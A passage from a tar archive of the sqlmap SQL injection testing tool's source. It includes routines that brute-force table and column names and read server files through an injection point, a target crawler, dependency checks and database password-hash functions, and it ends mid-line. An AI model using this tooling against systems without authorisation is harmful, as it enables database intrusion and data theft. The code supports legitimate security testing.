kb.locks.io.release() try: runThreads(conf.threads, tableExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" logger.warning(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.files: warnMsg = "no table(s) found" if conf.db: warnMsg += " for database '%s'" % conf.db logger.warning(warnMsg) else: for item in threadData.shared.files: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) for _ in ((conf.db, item) for item in threadData.shared.files): if _ not in kb.brute.tables: kb.brute.tables.append(_) conf.db = popValue() hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables def columnExists(columnFile, regex=None): if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" logger.warning(warnMsg) message = "are you sure you want to continue? [y/N] " kb.choices.columnExists = readInput(message, default='N', boolean=True) if not kb.choices.columnExists: return None if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) message = "which common columns (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % columnFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common columns file location?\n" columnFile = readInput(message) or columnFile infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) for table in conf.tbl.split(','): table = safeSQLIdentificatorNaming(table, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.files = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if Backend.isDbms(DBMS.MCKOI): result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) else: result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.files.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warning(warnMsg) finally: kb.bruteMode = False clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.files: warnMsg = "no column(s) found" logger.warning(warnMsg) else: columns = {} for column in threadData.shared.files: if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = "numeric" else: columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {table: columns} for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns @stackedmethod def fileExists(pathFile): retVal = [] message = "which common files file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % pathFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common files file location?\n" pathFile = readInput(message) or pathFile infoMsg = "checking files existence using items from '%s'" % pathFile logger.info(infoMsg) paths = getFileItems(pathFile, unique=True) kb.bruteMode = True try: conf.dbmsHandler.readFile(randomStr()) except SqlmapNoneDataException: pass except: kb.bruteMode = False raise threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(paths) threadData.shared.files = [] def fileExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: path = ntToPosixSlashes(paths[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break try: result = unArrayizeValue(conf.dbmsHandler.readFile(path)) except SqlmapNoneDataException: result = None kb.locks.io.acquire() if not isNoneValue(result): threadData.shared.files.append(result) if not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, fileExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during file existence " warnMsg += "check. sqlmap will display partial output" logger.warning(warnMsg) finally: kb.bruteMode = False clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.files: warnMsg = "no file(s) found" logger.warning(warnMsg) else: retVal = threadData.shared.files return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/crawler.py�������������������������������������������������������������������0000664�0000000�0000000�00000025340�15022617442�0016752�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import os import re import tempfile import time from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import findPageForms from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue from lib.core.common import urldecode from lib.core.compat import xrange from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request from thirdparty import six from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib def crawl(target, post=None, cookie=None): if not target: return try: visited = set() threadData = getCurrentThreadData() threadData.shared.value = OrderedSet() threadData.shared.formsFound = False def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search(conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0] except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) except _http_client.InvalidURL as ex: errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) if not kb.threadContinue: break if isinstance(content, six.text_type): try: match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: content = "<html>%s</html>" % match.group(1) soup = BeautifulSoup(content) tags = soup('a') tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] url = _urllib.parse.urljoin(current, htmlUnescape(href)) # flag to know if we are dealing with the same target host _ = checkSameHost(url, target) if conf.scope: if not re.search(conf.scope, url, re.I): continue elif not _: continue if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url): threadData.shared.value.add(url) except UnicodeEncodeError: # for non-HTML files pass except ValueError: # for non-valid links pass except AssertionError: # for invalid HTML pass finally: if conf.forms: threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0 if conf.verbose in (1, 2): threadData.shared.count += 1 status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length)) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) threadData.shared.deeper = set() threadData.shared.unprocessed = set([target]) _ = re.sub(r"(?<!/)/(?!/).*", "", target) if _: if target.strip('/') != _.strip('/'): threadData.shared.unprocessed.add(_) if re.search(r"\?.*\b\w+=", target): threadData.shared.value.add(target) if kb.checkSitemap is None: message = "do you want to check for the existence of " message += "site's sitemap(.xml) [y/N] " kb.checkSitemap = readInput(message, default='N', boolean=True) if kb.checkSitemap: found = True items = None url = _urllib.parse.urljoin(target, "/sitemap.xml") try: items = parseSitemap(url) except SqlmapConnectionException as ex: if "page not found" in getSafeExString(ex): found = False logger.warning("'sitemap.xml' not found") except: pass finally: if found: if items: for item in items: if re.search(r"(.*?)\?(.+)", item): threadData.shared.value.add(item) if conf.crawlDepth > 1: threadData.shared.unprocessed.update(items) logger.info("%s links found" % ("no" if not items else len(items))) if not conf.bulkFile: infoMsg = "starting crawler for target URL '%s'" % target logger.info(infoMsg) for i in xrange(conf.crawlDepth): threadData.shared.count = 0 threadData.shared.length = len(threadData.shared.unprocessed) numThreads = min(conf.threads, len(threadData.shared.unprocessed)) if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) runThreads(numThreads, crawlThread, threadChoice=(i > 0)) clearConsoleLine(True) if threadData.shared.deeper: threadData.shared.unprocessed = set(threadData.shared.deeper) else: break except KeyboardInterrupt: warnMsg = "user aborted during crawling. sqlmap " warnMsg += "will use partial list" logger.warning(warnMsg) finally: clearConsoleLine(True) if not threadData.shared.value: if not (conf.forms and threadData.shared.formsFound): warnMsg = "no usable links found (with GET parameters)" if conf.forms: warnMsg += " or forms" logger.warning(warnMsg) else: for url in threadData.shared.value: kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) if kb.targets: if kb.normalizeCrawlingChoice is None: message = "do you want to normalize " message += "crawling results [Y/n] " kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True) if kb.normalizeCrawlingChoice: seen = set() results = OrderedSet() for target in kb.targets: value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") match = re.search(r"/[^/?]*\?.+\Z", value) if match: key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") if '=' in key and key not in seen: results.add(target) seen.add(key) kb.targets = results storeResultsToFile(kb.targets) def storeResultsToFile(results): if not results: return if kb.storeCrawlingChoice is None: message = "do you want to store crawling results to a temporary file " message += "for eventual further processing with other tools [y/N] " kb.storeCrawlingChoice = readInput(message, default='N', boolean=True) if kb.storeCrawlingChoice: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt") os.close(handle) infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) with openFile(filename, "w+b") as f: if conf.forms: f.write("URL,POST\n") for url, _, data, _, _ in results: if conf.forms: f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or ""))) else: f.write("%s\n" % url) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/deps.py����������������������������������������������������������������������0000664�0000000�0000000�00000013437�15022617442�0016252�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.settings import IS_WIN def checkDependencies(): missing_libraries = set() for dbmsName, data in DBMS_DICT.items(): if data[1] is None: continue try: if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): __import__("_mssql") pymssql = __import__("pymssql") if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "Download from '%s'" % data[2] logger.warning(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): __import__("psycopg2") elif dbmsName == DBMS.ORACLE: __import__("cx_Oracle") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: __import__("kinterbasdb") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): __import__("jaydebeapi") __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") elif dbmsName == DBMS.MONETDB: __import__("pymonetdb") elif dbmsName == DBMS.DERBY: __import__("drda") elif dbmsName == DBMS.VERTICA: __import__("vertica_python") elif dbmsName == DBMS.PRESTO: __import__("prestodb") elif dbmsName == DBMS.MIMERSQL: __import__("mimerpy") elif dbmsName == DBMS.CUBRID: __import__("CUBRIDdb") elif dbmsName == DBMS.CLICKHOUSE: __import__("clickhouse_connect") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) logger.warning(warnMsg) missing_libraries.add(data[1]) continue debugMsg = "'%s' third-party library is found" % data[1] logger.debug(debugMsg) try: __import__("impacket") debugMsg = "'python-impacket' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " warnMsg += "'https://github.com/coresecurity/impacket'" logger.warning(warnMsg) missing_libraries.add('python-impacket') try: __import__("ntlm") debugMsg = "'python-ntlm' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" logger.warning(warnMsg) missing_libraries.add('python-ntlm') try: __import__("httpx") debugMsg = "'httpx[http2]' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'httpx[http2]' third-party library " warnMsg += "if you plan to use HTTP version 2" logger.warning(warnMsg) missing_libraries.add('httpx[http2]') try: __import__("websocket._abnf") debugMsg = "'websocket-client' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" logger.warning(warnMsg) missing_libraries.add('websocket-client') try: __import__("tkinter") debugMsg = "'tkinter' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'tkinter' library " warnMsg += "if you plan to run a GUI" logger.warning(warnMsg) missing_libraries.add('tkinter') try: __import__("tkinter.ttk") debugMsg = "'tkinter.ttk' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'tkinter.ttk' library " warnMsg += "if you plan to run a GUI" logger.warning(warnMsg) missing_libraries.add('tkinter.ttk') if IS_WIN: try: __import__("pyreadline") debugMsg = "'python-pyreadline' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'pyreadline' third-party library to " warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " warnMsg += "'https://pypi.org/project/pyreadline/'" logger.warning(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" logger.info(infoMsg) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/getch.py���������������������������������������������������������������������0000664�0000000�0000000�00000004425�15022617442�0016406�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ class _Getch(object): """ Gets a single character from standard input. Does not echo to the screen (reference: http://code.activestate.com/recipes/134892/) """ def __init__(self): try: self.impl = _GetchWindows() except ImportError: try: self.impl = _GetchMacCarbon() except (AttributeError, ImportError): self.impl = _GetchUnix() def __call__(self): return self.impl() class _GetchUnix(object): def __init__(self): __import__("tty") def __call__(self): import sys import termios import tty fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) try: tty.setraw(sys.stdin.fileno()) ch = sys.stdin.read(1) finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch class _GetchWindows(object): def __init__(self): __import__("msvcrt") def __call__(self): import msvcrt return msvcrt.getch() class _GetchMacCarbon(object): """ A function which returns the current ASCII key that is down; if no ASCII key is down, the null string is returned. The page http://www.mactech.com/macintosh-c/chap02-1.html was very helpful in figuring out how to do this. """ def __init__(self): import Carbon getattr(Carbon, "Evt") # see if it has this (in Unix, it doesn't) def __call__(self): import Carbon if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: # # The event contains the following info: # (what,msg,when,where,mod)=Carbon.Evt.GetNextEvent(0x0008)[1] # # The message (msg) contains the ASCII char which is # extracted with the 0x000000FF charCodeMask; this # number is converted to an ASCII character with chr() and # returned # (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1] return chr(msg & 0x000000FF) getch = _Getch() �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/har.py�����������������������������������������������������������������������0000664�0000000�0000000�00000017535�15022617442�0016074�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import base64 import datetime import io import re import time from lib.core.bigarray import BigArray from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.settings import VERSION from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer from thirdparty.six.moves import http_client as _http_client # Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html # http://www.softwareishard.com/har/viewer/ class HTTPCollectorFactory(object): def __init__(self, harFile=False): self.harFile = harFile def create(self): return HTTPCollector() class HTTPCollector(object): def __init__(self): self.messages = BigArray() self.extendedArguments = {} def setExtendedArguments(self, arguments): self.extendedArguments = arguments def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None): self.messages.append(RawPair(requestMessage, responseMessage, startTime=startTime, endTime=endTime, extendedArguments=self.extendedArguments)) def obtain(self): return {"log": { "version": "1.2", "creator": {"name": "sqlmap", "version": VERSION}, "entries": [pair.toEntry().toDict() for pair in self.messages], }} class RawPair(object): def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): self.request = getBytes(request) self.response = getBytes(response) self.startTime = startTime self.endTime = endTime self.extendedArguments = extendedArguments or {} def toEntry(self): return Entry(request=Request.parse(self.request), response=Response.parse(self.response), startTime=self.startTime, endTime=self.endTime, extendedArguments=self.extendedArguments) class Entry(object): def __init__(self, request, response, startTime, endTime, extendedArguments): self.request = request self.response = response self.startTime = startTime or 0 self.endTime = endTime or 0 self.extendedArguments = extendedArguments def toDict(self): out = { "request": self.request.toDict(), "response": self.response.toDict(), "cache": {}, "timings": { "send": -1, "wait": -1, "receive": -1, }, "time": int(1000 * (self.endTime - self.startTime)), "startedDateTime": "%s%s" % (datetime.datetime.fromtimestamp(self.startTime).isoformat(), time.strftime("%z")) if self.startTime else None } out.update(self.extendedArguments) return out class Request(object): def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): self.method = method self.path = path self.httpVersion = httpVersion self.headers = headers or {} self.postBody = postBody self.comment = comment.strip() if comment else comment self.raw = raw @classmethod def parse(cls, raw): request = HTTPRequest(raw) return cls(method=request.command, path=request.path, httpVersion=request.request_version, headers=request.headers, postBody=request.rfile.read(), comment=request.comment, raw=raw) @property def url(self): host = self.headers.get("Host", "unknown") return "http://%s%s" % (host, self.path) def toDict(self): out = { "httpVersion": self.httpVersion, "method": self.method, "url": self.url, "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()], "cookies": [], "queryString": [], "headersSize": -1, "bodySize": -1, "comment": getText(self.comment), } if self.postBody: contentType = self.headers.get("Content-Type") out["postData"] = { "mimeType": contentType, "text": getText(self.postBody).rstrip("\r\n"), } return out class Response(object): extract_status = re.compile(b'\\((\\d{3}) (.*)\\)') def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None): self.raw = raw self.httpVersion = httpVersion self.status = status self.statusText = statusText self.headers = headers self.content = content self.comment = comment.strip() if comment else comment @classmethod def parse(cls, raw): altered = raw comment = b"" if altered.startswith(b"HTTP response [") or altered.startswith(b"HTTP redirect ["): stream = io.BytesIO(raw) first_line = stream.readline() parts = cls.extract_status.search(first_line) status_line = "HTTP/1.0 %s %s" % (getText(parts.group(1)), getText(parts.group(2))) remain = stream.read() altered = getBytes(status_line) + b"\r\n" + remain comment = first_line response = _http_client.HTTPResponse(FakeSocket(altered)) response.begin() try: content = response.read() except _http_client.IncompleteRead: content = raw[raw.find(b"\r\n\r\n") + 4:].rstrip(b"\r\n") return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0", status=response.status, statusText=response.reason, headers=response.msg, content=content, comment=comment, raw=raw) def toDict(self): content = { "mimeType": self.headers.get("Content-Type"), "text": self.content, "size": len(self.content or "") } binary = set([b'\0', b'\1']) if any(c in binary for c in self.content): content["encoding"] = "base64" content["text"] = getText(base64.b64encode(self.content)) else: content["text"] = getText(content["text"]) return { "httpVersion": self.httpVersion, "status": self.status, "statusText": self.statusText, "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"], "cookies": [], "content": content, "headersSize": -1, "bodySize": -1, "redirectURL": "", "comment": getText(self.comment), } class FakeSocket(object): # Original source: # https://stackoverflow.com/questions/24728088/python-parse-http-response-string def __init__(self, response_text): self._file = io.BytesIO(response_text) def makefile(self, *args, **kwargs): return self._file class HTTPRequest(_BaseHTTPServer.BaseHTTPRequestHandler): # Original source: # https://stackoverflow.com/questions/4685217/parse-raw-http-headers def __init__(self, request_text): self.comment = None self.rfile = io.BytesIO(request_text) self.raw_requestline = self.rfile.readline() if self.raw_requestline.startswith(b"HTTP request ["): self.comment = self.raw_requestline self.raw_requestline = self.rfile.readline() self.error_code = self.error_message = None self.parse_request() def send_error(self, code, message): self.error_code = code self.error_message = message �������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/hash.py����������������������������������������������������������������������0000664�0000000�0000000�00000137522�15022617442�0016244�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function try: from crypt import crypt except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171 from thirdparty.fcrypt.fcrypt import crypt try: from Crypto.Cipher.DES import MODE_CBC as CBC from Crypto.Cipher.DES import new as des except: from thirdparty.pydes.pyDes import CBC from thirdparty.pydes.pyDes import des _multiprocessing = None import base64 import binascii import gc import math import os import re import tempfile import time import zipfile from hashlib import md5 from hashlib import sha1 from hashlib import sha224 from hashlib import sha256 from hashlib import sha384 from hashlib import sha512 from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isZipFile from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paths from lib.core.common import readInput from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import decodeHex from lib.core.convert import encodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet from lib.core.enums import DBMS from lib.core.enums import HASH from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX from lib.core.settings import HASH_BINARY_COLUMNS_REGEX from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 from lib.core.settings import NULL from lib.core.settings import ROTATING_CHARS from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.six.moves import queue as _queue def mysql_passwd(password, uppercase=True): """ Reference(s): https://web.archive.org/web/20120215205312/http://csl.sublevel3.org/mysql-password-function/ >>> mysql_passwd(password='testpass', uppercase=True) '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ password = getBytes(password) retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() return retVal.upper() if uppercase else retVal.lower() def mysql_old_passwd(password, uppercase=True): # prior to version '4.1' """ Reference(s): https://web.archive.org/web/20091205000600/http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c https://github.com/pwnieexpress/pwn_plug_sources/blob/master/src/darkmysqli/DarkMySQLi.py >>> mysql_old_passwd(password='testpass', uppercase=True) '7DCDA0D57290B453' """ a, b, c = 1345345333, 7, 0x12345671 for d in password: if d == ' ' or d == '\t': continue e = ord(d) a ^= (((a & 63) + b) * e) + (a << 8) c += (c << 8) ^ a b += e retVal = "%08lx%08lx" % (a & ((1 << 31) - 1), c & ((1 << 31) - 1)) return retVal.upper() if uppercase else retVal.lower() def postgres_passwd(password, username, uppercase=False): """ Reference(s): http://pentestmonkey.net/blog/cracking-postgres-hashes/ >>> postgres_passwd(password='testpass', username='testuser', uppercase=False) 'md599e5ea7a6f7c3269995cba3927fd0093' """ username = getBytes(username) password = getBytes(password) retVal = "md5%s" % md5(password + username).hexdigest() return retVal.upper() if uppercase else retVal.lower() def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): http://hashcat.net/forum/thread-1474.html https://sqlity.net/en/2460/sql-password-hash/ >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if 